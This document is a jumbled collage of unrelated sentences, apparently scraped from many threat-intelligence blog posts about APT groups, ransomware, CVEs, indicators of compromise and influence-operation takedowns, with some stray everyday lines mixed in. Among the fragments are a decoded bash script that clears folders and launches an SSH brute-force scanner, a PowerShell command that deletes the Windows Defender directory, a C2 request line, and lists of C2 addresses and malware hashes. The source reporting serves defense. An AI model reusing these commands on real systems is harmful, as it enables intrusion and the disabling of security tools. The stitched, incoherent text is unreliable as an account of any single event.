Oil and gas, banking and defense sectors are most likely to top of the list of targets.


During this time we developed URL-based signatures and used them to detect Lurk-related network traffic.


Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.


But on top of that, organizations must have the detection and response tooling, ideally XDR, to correlate, prioritize and act on high fidelity alerts with speed and precision.


The server must reply with an exact four-byte answer, which is the victim's IPv4 address.


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Table 3 shows that the BAF is greater than one, implying there are asymmetric network flows although the values are at the order of magnitude lower than modern amplification attacks (note that Memcached can reach 10,000 to 51,000 BAF).


This group also has links to the original developers of H-Worm, also known as njRAT.


How are you looking for visibility across all of your systems?


The macOS exploits did not use the same framework as iOS ones.


We terminated 1,312 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


The typical Waterbear infection chain  Figure 1.


The screenshot in Figure 2 shows how the threat actor uses SMB and internal IIS Web Service to copy "lc.tmp" (the main ransomware loader in this incident) to other victims' host machines.


Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


Figure 10. Steps FileCrypt Manager prompts user to do


Similar Objectives.


In the past, we’ve posted on issues like phishing campaigns, vulnerabilities and disinformation.


Code Similarity


In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes.


They use a one-time generated series of numbers for each transaction, so that if attackers get their hands on it, they won’t be able to use it in the future.


According to the agency, critical infrastructure owners and operators should also adopt an "heightened state of awareness".


Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.


On two occasions (in March and October 2020), we found a kernel rootkit that had been deployed.


Proper supply chain management processes allow contextualization, tracking, and monitoring of new vulnerabilities within different downstream software using a specific library such as DDS.


It also receives commands from the C&C server to take screenshots, which it later sends to the server.


Here are some tips on how to stay protected from email scams:


Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products.


Arrival


In August 2021, a Russian blogger published a 22-minute interview with an alleged representative of the group behind LockBit 2.0 called “LockBitSupp” on a YouTube channel called “Russian-language open source intelligence (OSINT).”


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This post is also available in:      日本語 (Japanese)


The CISA Alert also calls out CVE-2022-22972 and CVE-2022-22973 – published on the same day and affecting the same products – as being highly likely to be exploited.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0  Silverlight.exe


On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.


These apps are not hosted inside the Google Play store, but are distributed via third party distribution mechanisms in China.


Accept-Encoding: gzip Connection: Keep-Alive


The different versions of gdrive.exe are almost identical, with a minor addition to the file 2060f1e108f5feb5790320c38931e3dc6c7224edf925bf6f1840351578bbf9cc of base64 encoding on the victim’s id.


Unverified developer warning with the “Open” button enabled


The guidance provides steps to prepare for, mitigate against, and respond to attacks.


Figure 7 shows the relationship between these backdoors and their respective command and control servers.


To get that list of domains that the malware will use, defenders have to decode the algorithm which can be difficult.


Figure 12.


It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka.


That site’s owner is the attacker.


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


The second mutex appears to be a concerted effort to make the mutex seem “more random” than the first.


The domains and the PDB string have been mentioned in a recent report and have been attributed to the Winnti Group.


The message box that decrypt.exe displays


Gather information on an endpoint Gathers information from the endpoint such as the current logged on user, operating system details, IP address, hostname, mac address


In both Carbanak and FIN7 attacks, communication with users’ compromised systems is done through bypassing firewalls or network detection systems via commonly used ports, using connection proxies to avoid direct connections to the threat group’s infrastructure, employing the command-and-control channel to remotely copy files from an external system, blending in with existing network traffic by using standard application layer protocol, and taking advantage of standard cryptographic protocol to disguise command-and-control traffic.


Unit 42 researchers are proactively monitoring info related to other recently disclosed Spring vulnerabilities and will proceed to provide coverage as soon as more info has become available.


Last year we highlighted two malware families on this blog: CryptoWall 2.0 and Dyreza/Dyre.


This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.


While many users breeze past the list of permissions required when installing new apps, readers of this blog should ask themselves, “Does my electronic bible need to read my SMS messages?”  Sign up to receive the latest news, cyber threat intelligence and research from us


It is a variant of PlugX malware, and connects to the same C&C server (66[.]42[.]37[.]101).  Figure 8.


Delete email message Permanently deletes the specified email message from the user’s mailbox


Because of this, people can earn digital currency credit in exchange for the use of their computing resources to power that digital currency’s infrastructure.


32-bit EXE is the most common ransomware file type we observed.


Some of the infected apps purport to contain or display adult content.


The results of these commands are uploaded to the C2 server.


Job Opportunity SIPCHEM 7/30/18 jobs@sipchem.ga


Figure 13.


Decoding the scanner revealed the following codes:  #!/bin/bash cd /tmp rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv /var/tmp/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s && cd /tmp/.X19-unix/.rsync/c nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1& sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0


We terminated 4 YouTube channels as part of our actions against a coordinated influence operation.


A new folder named "Download" is created adjacent to the main binary.


On Friday May 12, 2017, Microsoft took the extraordinary step of releasing patches for out-of-support versions of Windows to help protect against these attacks.


The payload can vary in each campaign, but it typically uses the FlawedAmmyy downloader, ServHelper, or RMS RAT launcher.


The following is a list of Protux’s notable components and their functions:  FileManage - Lists all of the system’s drives and folders.


showing


This utility has a feature called “Import Adder,” while “.newimp” is the default name of a newly added section containing newly added imports.


We terminated 8 YouTube channels as part of our actions against a coordinated influence operation linked to Yemen.


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.


The group puts up multiple layers of obfuscation to run these C&C servers in extremely targeted malware campaigns against organizations in the Middle East, the U.S., and Asia.


The vulnerability has been dubbed as ProxyLogon by the researchers at DEVCORE, who are credited with finding the bugs in the proxy architecture and the logon mechanism of Exchange.


Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.


Table 2.


Exploit public-facing application Execution T1059.001


VDI solutions can provide protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems to recover from a wiper attack.


The guideline thoroughly explains the three most common methods threat groups use to infiltrate the supply chain.


In this stage, a blob of payload data is decrypted using a hard-coded key (2726c6aea9970bb95211304705b5f595) and what appears to be an RC4 (Rivest Cipher 4) algorithm.


GET http://{C2}/Index.php?Ck=OK HTTP/1.1


Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.


The launcher decrypts the data.res file with a different hardcoded DES key.


CHS’s 8-K filing on Monday did not reveal how the attackers got into their network, only that the records of approximately 4.5 million patients were stolen in attacks in between April and June of 2014.


Lurk’s transition from simple web-browser-exploiting crooks to organized cybercriminals also stood out.


The following sections describe the different correlations and are divided into two main categories:  Correlation related to the malware author developing environment Correlation associated with TTPs  Note that some leads are stronger than others; however, when combined, they suggest that the same threat actor behind malware previously attributed to APT37 is likely responsible for Operation Earth Kitsune.


Similarly, DarkSide operators used Mega client for exfiltrating files to cloud storage, 7-Zip for archiving, and PuTTY application for network file transfers.


The attack we found only works on Series 2 of EC-CUBE; the current version is Series 4, with Series 2 now under extended support.


Read more on the XSOAR marketplace.


In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.


They can be used to:  These are all likely outcomes from mass scanning of the Internet for vulnerable hosts, which are already underway.


Timestamps indicate that the earliest sample was signed on June 2015; the latest variant was signed on May 2017.


Attackers can gain access to your personal and financial information.


The user needs to know the IP of the infected client, the port used by malware and the encryption password to properly decode the traffic.


They carried this out by first stealing the company’s certificate then using it to sign the malware.


The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.


It was last updated on July 29, 2022.


OS Credential Dumping: Credentials in Registry Lateral Movement T1021.002


Vulnerabilities of Apache HTTP Server have increased since 2017 Open-source web servers, especially Apache HTTP Server, have been heavily exploited in the past five years.


Figure 9.


The PlugX sample in Table 3 also uses the legitimate PixelPlus Co., Ltd certificate and was also targeted against the university.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  ba44c22a3224c3a201202b69d86df2a78f0cd1d4ac1119eb29cae33f09027a9a  Silverlight2.exe


We mapped Winnti’s activities for this campaign by analyzing the dates exposed in GitHub.


Setup.exe is the core module used to steal data.


This research is done in cooperation with IssueMakersLab of South Korea.


This post is also available in:      日本語 (Japanese)  A recent vulnerability in the Kerberos authentication protocol, CVE-2020-17049 (dubbed Bronze Bit), has been disclosed by Microsoft.


Searching for processes     We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.


Attacker Owned Domains:


Palo Alto Networks Cortex XSOAR customers can leverage the "Spring Core and Cloud Function SpEL RCEs" pack to automatically detect and mitigate the vulnerabilities.


But, mobile banking use is picking up around the globe.


SysUpdate was first described by the NCC Group in 2018.


Confirm requests using other channels.


Figure 9 is a screenshot of the default Windows File Explorer; “show hidden files” is not checked.


We also conclude that this is the initial phase of an attack based on the following reasons:  CallerSpy, as it is now, could prove uneven for a targeted attack.


Later that day, a public PoC surfaced, allowing organizations to better understand this vulnerability and how it is exploited.


However, in many cases the filename had an extension that would not support a webshell, such as .js and .txt, which we believe was used just to mark the presence of a successful file upload as part of vulnerable server discovery efforts.


In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.


The newer version shows that the developers behind ServHelper continued to upgrade it to evade detection and add more functions, possibly for even more iterations in the future.


Snapshot of code we used to decrypt TClient’s configuration Figure 11.


Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


test4.exe  BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  3589e53c59d9807cca709387bbcaaffc7e24e15d9a78425b717fc55c779b928e


And “jh” is always followed by a key from the left side of the keyboard.


This leads us to the next stage of our malware  This particular stage of malware acts as a downloader.


Conclusion


It is important that employers and employees across all organizations and enterprises be able to identify phishing attacks and distinguish legitimate emails from malicious ones.


This is the main client binary written in C++, which is the last stage of PuppetLoader’s infection chain.


Other sellers were also able to offer customizable email accounts from a specific domain/institution.


Figure 10.


vulnerable  this is a test


Similar to any other malware family or threat, Palo Alto Networks customers should use the entire security framework for threat mitigation and threat prevention coverage.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


This campaign appears to be financially motivated.


All data will then be encrypted and sent back.      Figure 8.


Tags  Cloud | APT & Targeted Attacks | Expert Perspective | Articles, News, Reports | Cyber Threats


Indicators of Compromise (IoCs)  SHA256 Description Detection Name 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa Cryptocurrency miner Trojan.SH.MALXMR.UWEJP b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d Shellbot Backdoor.SH.SHELLBOT.AA 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 Tool Trojan.Linux.SSHBRUTE.B fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL32 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL64   URLs  159[.]203[.]141[.]208  104[.]236[.]192[.]6  45[.]9[.]148[.]129:80      Miner pool  45[.]9[.]148[.]125:80       Miner pool  http://www[.]minpop[.]com/sk12pack/idents.php         Command and control  http://www[.]minpop[.]com/sk12pack/names.php          Command and control      MITRE ATT&CK Matrix        Tags  Malware | APT & Targeted Attacks | Endpoints | IoT | Research | Network


The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.


We noted the unusual use of cmd.exe for execution of the file.


The Bahamut Link Fake websites


X64 Brute Ratel C4 Samples:  3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE 973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611 EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6 D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F 5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B  Malicious DLLs:  EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669  Malicious Encrypted Payloads:  B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E  X.509 Cert SHA1s:  55684a30a47476fce5b42cbd59add4b0fbc776a3 66aab897e33b3e4d940c51eba8d07f5605d5b275  Infrastructure linked to X.509 Certs or Samples:  104.6.92[.]229 137.184.199[.]17 138.68.50[.]218 138.68.58[.]43 139.162.195[.]169 139.180.187[.]179 147.182.247[.]103 149.154.100[.]151 15.206.84[.]52 159.223.49[.]16 159.65.186[.]50 162.216.240[.]61 172.105.102[.]247 172.81.62[.]82 174.129.157[.]251 178.79.143[.]149 178.79.168[.]110 178.79.172[.]35 18.133.26[.]247 18.130.233[.]249 18.217.179[.]8 18.236.92[.]31 185.138.164[.]112 194.29.186[.]67 194.87.70[.]14 213.168.249[.]232 3.110.56[.]219 3.133.7[.]69 31.184.198[.]83 34.195.122[.]225 34.243.172[.]90 35.170.243[.]216 45.144.225[.]3 45.76.155[.]71 45.79.36[.]192 52.48.51[.]67 52.90.228[.]203 54.229.102[.]30 54.90.137[.]213 89.100.107[.]65 92.255.85[.]173 92.255.85[.]44 94.130.130[.]43 ds.windowsupdate.eu[.]org  Hunting for APT29 Spear Phishing Using XDR - Palo Alto Networks Blog Cozy Smuggled Into The Box: APT29 Abusing Legitimate Software For Targeted Operations In Europe Trello From the Other Side: Tracking APT29 Phishing Campaigns New sophisticated email-based attack from NOBELIUM  Updated July 6, 2022, at 9:30 a.m. PT.


head -n 1 cat /proc/cpuinfo | grep name |


Affected Software and Versions Background on the Spring Framework Root Cause Analysis for CVE-2022-22965


Once the multiple layers of script obfuscation are removed, the final payload arrives—a version of the njRAT Trojan; this family has been a known threat since 2015.


It is the last step before the ransomware is dropped, and the attack often speeds up at this point to complete the process before it is stopped.


Figure 9.


We did not recover any responses from those URLs.


We hope this tool will be valuable to incident responders and others who are plagued by NetWire infections.


We warn users when we suspect a government-backed threat like APT35 is targeting them.


Note the following similarities:  The usage of paths C:\Users and D:\ are similar The searching patterns are very similar The extension list is very similar


Related IOCs


The user would need to enable macro for it to open fully, which would use AutoHotkey in loading the malicious script file to avoid detection.


You may consider configuring it to not broadcast the SSID as well: that can make adding devices a little harder, but that means it’s even harder for people to try and join your home network.  3. Set up More Secure Accounts on Your PCs and Macs: PCs and Macs (both desktop and laptop) are still around and as important as ever in the home.


For example, there is a simple classical application scenario in which the developer creates a trade object to capture request parameters as shown in Figure 1.


As such, here are some tips on how to stay safe from these online schemes:  Carefully scrutinize all emails.


USBferry attack scenario, version UF1.0 20160226


DGA by itself can’t harm you.


Accept-Encoding: gzip Connection: Keep-Alive


StealthVector is designed with various configurable features that make it easy for malicious actors to modify and tailor it to their needs, including a feature that disables Event Tracing for Windows (ETW), allowing the malware to run in stealth mode.


Figure 1: Tweety Chat’s interface (top), and code snippets showing the file types it steals (bottom) Romance in cyberespionage


hack520[.]co[.]kr shaiya[.]kr zhu[.]kr shenqi[.]kr zhuxian[.]kr  Several of these domains are linked to variants of malware that were used by the Winnti threat actor.


Last June 9, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released the Rising Ransomware Threat to OT Assets, which addresses the recent rise in ransomware attacks targeting operational assets (OT) and control systems.


Including detection of this as part of an overall XDR platform will improve the prevention, detection, and remediation of sophisticated attacks on an organization.


To deploy its tools, it uses the expand command to extract package files dropped in the system.


If we were able to make the size of the current heap block in this structure larger than the threshold of 0x186A0 bytes and trigger CMemoryProtector::ProtectedFree, it is still possible to force a true freeing action and occupy the freed object with other data as we show in the following piece of javascript code in figure 6.    Figure 6. Javascript proof of concept to force freeing  When creating the anchor element, the debug logs are shown in figure 7.


And you just have computers fighting it out.


Example Exploit Kit:


Persistence is achieved by setting the following registry key:  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  The name of the registry key in the above instances is derived from the basename of the supplied argument.


The address of the anchor element is 0x0c3b3f98.


A few were observed displaying a fake error message requiring user click-through to continue execution.


When users register, their credit cards will be charged.


While the research may never result in a fully automated decision system, it has been proven that researchers employing a hybrid approach to analysis will be able to provide critical and timely information to support the continual improvement of the classification system as a whole.


These attacks begin with an email sent to a carefully chosen target in the agency.


When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.


This app is quite different from the Turla apps described above and written by a different developer.


Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.


idtpl[.]org registration information based on Whois Lookup     But from the middle of July 2020, its IP address changed to 185[.]117[.]88[.]91.      Figure 22. Domain History of idtpl[.]org as seen on VirusTotal


gdGCT.jsp


Figure 2 shows a completely different result from Figure 1 and stems from only counting ransomware samples from cases in which more than five hosts were infected with the same malware.


Initial Access


We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.


If the user would like to unsubscribe they can text “BAJA” to 797977.


The infection starts with an executable written in C++ that connects through a Winsock API to a domain or IP address in a specific port.


Network amplification CVE-2021-38445 OpenDDS, ROS 2 7.0 CWE-130: Improper handling of length CVE-2021-38423 Gurum DDS, ROS 2 8.6 CWE-131: Incorrect calculation of buffer size CVE-2021-38435 Connext DDS, ROS 2 8.6 CVE-2021-38439 Gurum DDS, ROS 2 8.6 CWE-122:


It was in April 2017 when the last Windows variant of Maikspy appeared with the following changes: The C&C server was changed to 198[.]12[.]155[.]84, password theft is added, as well as the theft of .doc, .docx, and .rtf files.


Figure 6.


Indicators of CompromiseFiles with the following hashes were used in the first series of attacks:  cd8329f75b1393ead3e16c6c79ee1ab476e6487370481e5931feb63305f00983 – detected as VBS_KEYLOG.NYKW f46f0e8eed0361294200d64e87b3fb13f6a3797f99f5b588444534f27612a590 – archive file;


One file stealer (cca74bb322ad7833a21209b1418c9837e30983daec30d199a839f46075ee72f2, Detected as TSPY_DELF.SUW) published by security researchers in 2013 and linked to the domain myflatnet[.]com, was attributed by several parties to the Hangover group.


This malware is well documented as a powerful polymorphic worm that encrypts itself differently every time it propagates.


Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.


Unique URLs serving CVE-2021-33742 Internet Explorer exploit: http://lioiamcount[.]com/IsnoMLgankYg6/EjlYIy7cdFZFeyFqE4IURS1 http://db-control-uplink[.]com/eFe1J00hISDe9Zw/gzHvIOlHpIXB http://kidone[.]xyz/VvE0yYArmvhyTl/GzV


When you have many samples to analyze, you can refine that expectation over time.


This data includes the encrypted configuration settings for Brute Ratel C4.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


Two days later on March 31, 2022, Spring released version 5.3.18 and 5.2.20 of Spring Framework to patch another more severe vulnerability tracked in CVE-2022-22965.


Trend Micro Solutions Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks.


MySd2e Service registers receiver for Rf2b


As described earlier, the XSS attack script redirects the victim to a fake Flash download site.


Please mark, I'm not a robot!


Leverage WMI for fileless intrusion Execute Powershell script for fileless intrusion


After infection, Virlock hides the file extension through modification of the registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = 1, HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden = 2).


After the backdoor is launched, it will decrypt the embedded C&C configuration via AES (CTR mode) algorithm for the following connection.


RemoteUtilities Analysis


It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.


It also creates a pipe for inter-process communication (IPC) by calling the pipe() function for getting two file descriptors for reading and writing data.


The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.


.      Figure 4. Code showing the main function of the file stealer


The commands and output of Koadic will change according to the ANEL version used in the attack.


For example, the initial ANEL version, “5.0.0 beta1,” uses a different C&C server compared to the other versions.


Chi Ngoc Canada  Backdoor.SH.OCEANLOTUS.F  05e5ba08be06f2d0e2da294de4c559ca33c4c28534919e5f2f6fc51aed4956e3  2nd stage fat binary  Backdoor.MacOS.OCEANLOTUS.F  fd7e51e3f3240b550f0405a67e98a97d86747a8a07218e8150d2c2946141f737   3rd stage fat binary  Backdoor.MacOS.OCEANLOTUS.F   Domains  mihannevis[.]com mykessef[.]com idtpl[.]org  MITRE TTP  Tactic  ID  Name


Figure 20.


The videos had no sound, but the threat actor would type commentary on a terminal to address something the viewer was observing on screen.


Table 1: The 15 vulnerabilities weaponized since 2017  CVE ID cvss3 score Description CVE-2021-42013 9.8 Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) CVE-2021-41773 7.5


The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.


Microsoft recommends that customers of Microsoft Defender for Endpoint enable the attack surface reduction rule BlockOfficeCreateProcessRule.


Neither of these variables is actually used in this exploit.


Because these vulnerabilities affect the processors at the physical layer, the only way for the vulnerabilities to be fully addressed is for the processors to be replaced or to have a firmware update.


Figure 5.


Execution and impact  The execution of the actual ransomware occurs next.


Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.


-ms[.]net  C&C     cdn-sop[.]net  C&C     fqn-cloud[.]net  C&C     ms-trace[.]net  C&C     imail.aop.gov-af[.]org  Phishing Domain     mail-apfgavnp.hopto[.]org  Phishing Domain     mail-apfgovnp.ddns[.]net  Phishing Domain     mail-kmgcom.ddns[.]net  Phishing Domain     mail-mfagovcn.hopto[.]org  Phishing Domain     mail


There have been several theories:  Unit 42 believes the most likely delivery method is method #2.


If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


Online shop administrators should be aware that potential attacks may come not only from spam but also from different — and unexpected — infection vectors.


We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks.


NOTE: On May 20th, we updated our attribution to more precisely describe our findings.


The attack features the following script:


Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence


When encrypting, it creates a block of data we named headData.


We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.


It also misses the incredible importance of identifying tactics, techniques, and tools used by global threat actor groups today.


Get and upload dedicated directory file list


I'm going to drive back to the store.


Because these affect processors, this means that the operating systems and applications that run on top of these processors are vulnerable.


During our investigation, we found evidence of specific tools, which we listed in Table 1.


Palo Alto Networks WildFire detected a new Android Trojan on May 7th, 2014 when a customer using our enterprise security platform downloaded the malicious application from the Google Play store.


Figure 4.


We received leads from the FBI that supported us in this investigation.


Antivirus programs running on the PC are trying eradicate the threat, the command and control domains and IPs are being added to denylist and blocked by networks around the world.


This is a JavaScript file that executes with wscript.exe.


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It generates the needed key and initialization vector (IV) using a salt and secret key; the former is embedded in the code while the latter is generated dynamically using the SHA-256 hash of a randomly generated 32-byte long string.


We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.


While xxmm2_builder allows REDBALDKNIGHT to customize the settings of XXMM, xxmm2_ steganography is used to hide malicious code within an image file.


Unfortunately, Lurk is just one of the many cybercriminal groups looking to profit from organizations and end users.


Figure 2. Exploitation of CVE-2017-11882


It still worked.


This article lists the known malware strains that have been used over the past two years to install ransomware, all of which should serve as a "code red" moment for any organization.


Figure 1.


One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.


The Brazilian Central Bank recently announced that 2017 was the first year in which people did more banking using mobile devices than on PCs.


There are two variants of the webshell.


The following registry keys are also used within the CLOCK sub-path by PClock2:  PClock2 proceeds to use the API from blockchain.info to generate a unique Bitcoin (BTC) wallet identifier, which is configured to automatically forward payments to a hardcoded wallet identifier of ‘1MRfkK134ErfbcadUSoSUCBahngCqoBKju’.


They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.  Got a topic you want us to write about for you, your friends, or your family?


The traffic is encrypted to evade detection.


A developer using the ID “fun app” published the Trojan, and the remote control application they uploaded on April 21 is their most successful app so far, with between 10,000 and 50,000 downloads on the play store.


.Python.BIOPASS.A  e479823aa41d3f6416233dba8e765cf2abaa38ad18328859a20b88df7f1d88d5  sc2.txt  BIOPASS RAT encoded Cobalt Strike shellcode  Trojan.Win32.COBEACON.A  e567fd0f08fdafc5a89c9084373f3308ef464918ff7e4ecd7fb3135d777e946d  sc3.txt


The second fake website is again related to chat, with a background suggesting that it can help find users a partner.


We observed that the scripts used during the attacks were customized.


We learned that these pages were copied from their victims’ webmail login pages and subsequently modified for phishing.


Consider using dedicated two-factor authentication apps or devices such as Yubikey instead of relying on SMS.


This was carried out via a compromised version of a network monitoring application called SolarWinds Orion.


In some cases, the ransomware is sophisticated enough to target specific application files.


An “overlay attack” is an attack where an attacker’s app draws a window over (or “overlays”) other windows and apps running on the device.


At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.


While we can’t see how many people the other half of the samples affect, it’s a reasonable supposition that the other half of the total samples affect just as many people as the half we can see.


In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.


A hallmark of this group is the diversity of techniques used both for initial access and action-on-objective.


The good news is that these attacks are more like denial of service attacks: they don’t do lasting harm to your system and they end when you leave the site.  The bad news is that these are harder to defend against than typical drive-by download attacks.


PowerShell process used to delete Windows Defender, e.g. C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse  8. File InstallUtil.exe running from C:\Users\[USERNAME]\AppData\Local\Temp directory.


The victims can find the threat actor’s user name through specific group chat software or follow a chat group link in the ransom note.  Ransom payment operations are complicated and highly automated processes.


One of the most prolific cybermercenaries is Void Balaur, a Russian-speaking threat actor group that has launched attacks against different sectors and industries all over the world.


For others, digital transformation had been a priority for much longer, but the events of the past two years added a new sense of urgency.


In this scenario, accevent.exe is the primary executable, which is usually legitimate.


ShellManage - Creates a shell.


Unit 42 has helped organizations respond to multiple Lapsus$ attacks.


More information about these protections can be found within the Mitigation Actions section of the briefing.


Continuous vigilance against threat groups is an important aspect of keeping up with — if not being one step ahead of — threats.


In this blog we analyze the technical details of the exploit chain and share IOCs to help teams defend against similar style attacks.


This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.


The legitimate known application is downloaded and executed.


jQuery method is used to post the target’s credentials to hosting site     The phishing pages record passwords inputted by site visitors.


If the file does not exist, it will make the following GET request:  The filename and name parameters are statically set in the above request.


Beginning on Feb. 15, a series of distributed denial of service (DDoS) attacks commenced.


s[_local28][(((_local41 - _local12) / 4) + 15)]


Figure 16.


The latter is a configuration file that handles files to install.


At the end of last year, a C&C from the same threat actor was not only accessible from any IP address, but it was possible to browse the server directory tree without authentication.


These paths leak information about the third-party libraries’ installed paths.


Figure 5.


Please mark, I'm not a robot!


The trigger format is: %system32/rundll32.exe <PROTUX file name> <export name>.


Gh0st RAT


Other public references also used the compiled binary time of samples attributed to APT37.


In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.


Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.


For security reasons we are not posting the names of any of these apps.


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RATANKBA host manipulation console RATANKBA’s controllers use the “Nimo Software HTTP Retriever 1.0” user-agent string for its communication.


We monitored a list of 50 legitimate Ukraine-related domains (e.g., popular news and donation websites) and keywords (e.g., Ukraine, refugee) as targets for cybersquatting.


Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.


Figure 2. Fake installation pop-up     The third attack vector used by Earth Lusca is the exploitation of vulnerabilities that exist in the public-facing applications — such as Microsoft Exchange ProxyShell and Oracle GlassFish — of its targets.


I need a loaf of bread.


Python.BIOPASS.A


The content of /proc/mtd for an Asus RT-AC68U device is as follows:      Figure 7.


